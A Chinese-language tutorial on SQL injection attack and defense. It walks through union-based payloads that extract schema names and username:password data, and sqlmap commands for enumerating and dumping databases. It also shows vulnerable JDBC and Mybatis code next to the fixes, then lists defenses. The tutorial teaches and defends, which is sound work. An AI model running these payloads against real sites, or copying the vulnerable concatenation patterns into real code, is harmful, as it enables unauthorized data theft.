渗透攻防Web篇-深入浅出SQL注入
字数 1975 2025-08-12 11:34:18
深入浅出SQL注入攻防指南
1. SQL注入背景与原理
SQL注入是Web安全中最常见的高危漏洞之一,京东SRC(Security Response Center)收录的大量外部白帽子提交的漏洞中,SQL注入主要源于:
- SQL语句直接拼接
- Mybatis框架使用不当
2. SQL注入手工检测技术
2.1 前置知识:MySQL元数据库
MySQL 5.0+版本中的information_schema数据库包含关键元数据表:
-
information_schema.columns:
table_schema: 数据库名table_name: 表名column_name: 列名
-
information_schema.tables:
table_schema: 数据库名table_name: 表名
-
information_schema.schemata:
schema_name: 数据库名
2.2 常用SQL函数
| 函数 | 描述 |
|---|---|
length(str) |
返回字符串长度 |
substr(str, pos, len) |
从pos位置截取len长度字符(pos从1开始) |
mid(str,pos,len) |
同substr |
ascii(str) |
返回最左字符的ASCII值 |
ord(str) |
将字符/布尔转ASCII码 |
if(a,b,c) |
条件判断,a为真返回b,否则c |
2.3 注入类型分类
2.3.1 按参数类型
- 整型注入:如
?id=1,注入点为整型 - 字符型注入:如
?id="1",需考虑闭合SQL语句中的引号
2.3.2 按注入方式
- 盲注:
- 布尔盲注:通过应用返回的布尔值推断
- 时间盲注:使用
sleep、benchmark等时间函数判断
- 报错注入:利用应用显示的错误信息
- 堆叠注入:使用
;执行多条语句
2.4 手工检测步骤(字符型注入为例)
漏洞代码示例
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
ResultSet rs = statement.executeQuery(sql);
修复方案
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
2.4.1 确定注入点
-
尝试单引号
',观察是否导致错误或无回显- 正常SQL:
select * from users where username = 'admin' - 注入后SQL:
select * from users where username = 'admin''(报错)
- 正常SQL:
-
推荐工具:浏览器扩展Hackbar
2.4.2 判断字段数
使用order by确定表中字段数:
admin' order by 1--+
admin' order by 2--+
...
当order by n超过实际字段数时会报错
2.4.3 确定回显位置
使用联合查询定位回显字段:
admin' union select 1,2,3,4--+
观察哪些数字在页面中显示
2.4.4 利用information_schema获取数据
- 查看所有数据库:
admin' union select 1,group_concat(schema_name),3,4 from information_schema.schemata--+
- 查看当前数据库的表:
admin' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
- 查看表字段:
admin' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
- 读取数据:
admin' union select 1,group_concat(username,':',password),3,4 from users--+
3. 自动化检测工具sqlmap
3.1 常用命令
| 参数 | 描述 |
|---|---|
-u |
可能存在注入的URL |
-r |
读取HTTP数据包文件 |
--data |
指定POST数据 |
--cookie |
指定Cookie |
--headers |
指定HTTP头 |
--threads |
线程数 |
--dbms |
指定后端数据库类型 |
--os |
指定操作系统类型 |
--current-user |
获取当前用户 |
--is-dba |
检查是否为DBA |
--sql-shell |
获取交互式SQL shell |
-p |
指定测试参数 |
--dbs |
枚举所有数据库 |
-D |
指定数据库 |
--tables |
枚举表 |
-T |
指定表 |
--columns |
枚举列 |
-C |
指定列 |
--dump |
导出数据 |
3.2 使用示例
- 基本检测:
sqlmap -u "http://example.com/page?id=1" --cookie="session=xxx" --batch --dbms=mysql
- 枚举数据库:
sqlmap -u "http://example.com/page?id=1" --dbs
- 枚举指定数据库的表:
sqlmap -u "http://example.com/page?id=1" -D java_sec_code --tables
- 导出表数据:
sqlmap -u "http://example.com/page?id=1" -D java_sec_code -T users --dump
4. Mybatis框架中的SQL注入
4.1 常见注入场景
- $错误使用:
// 安全写法(预编译)
@Select("select * from users where username = #{username}")
User findByUserName(@Param("username") String username);
// 危险写法(直接拼接)
@Select("select * from users where username = '${username}'")
List<User> findByUserNameVuln01(@Param("username") String username);
- 模糊查询拼接:
<!-- 错误写法 -->
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
select * from users where username like '%${_parameter}%'
</select>
<!-- 正确写法 -->
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
select * from users where username like concat('%',#{_parameter},'%')
</select>
- order by注入:
<!-- 错误写法 -->
<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
select * from users
<if test="order != null">
order by ${order} asc
</if>
</select>
<!-- 正确写法(限制排序字段) -->
<select id="OrderByUsername" resultMap="User">
select * from users order by id asc limit 1
</select>
5. 防御措施
- 使用预编译语句(PreparedStatement)
- Mybatis中优先使用#{}而非${}
- 输入验证:对用户输入进行严格过滤
- 最小权限原则:数据库用户只授予必要权限
- 错误处理:避免将详细错误信息返回给用户
6. 推荐资源
注意:所有测试应在授权环境下进行,未经授权的渗透测试可能触犯法律。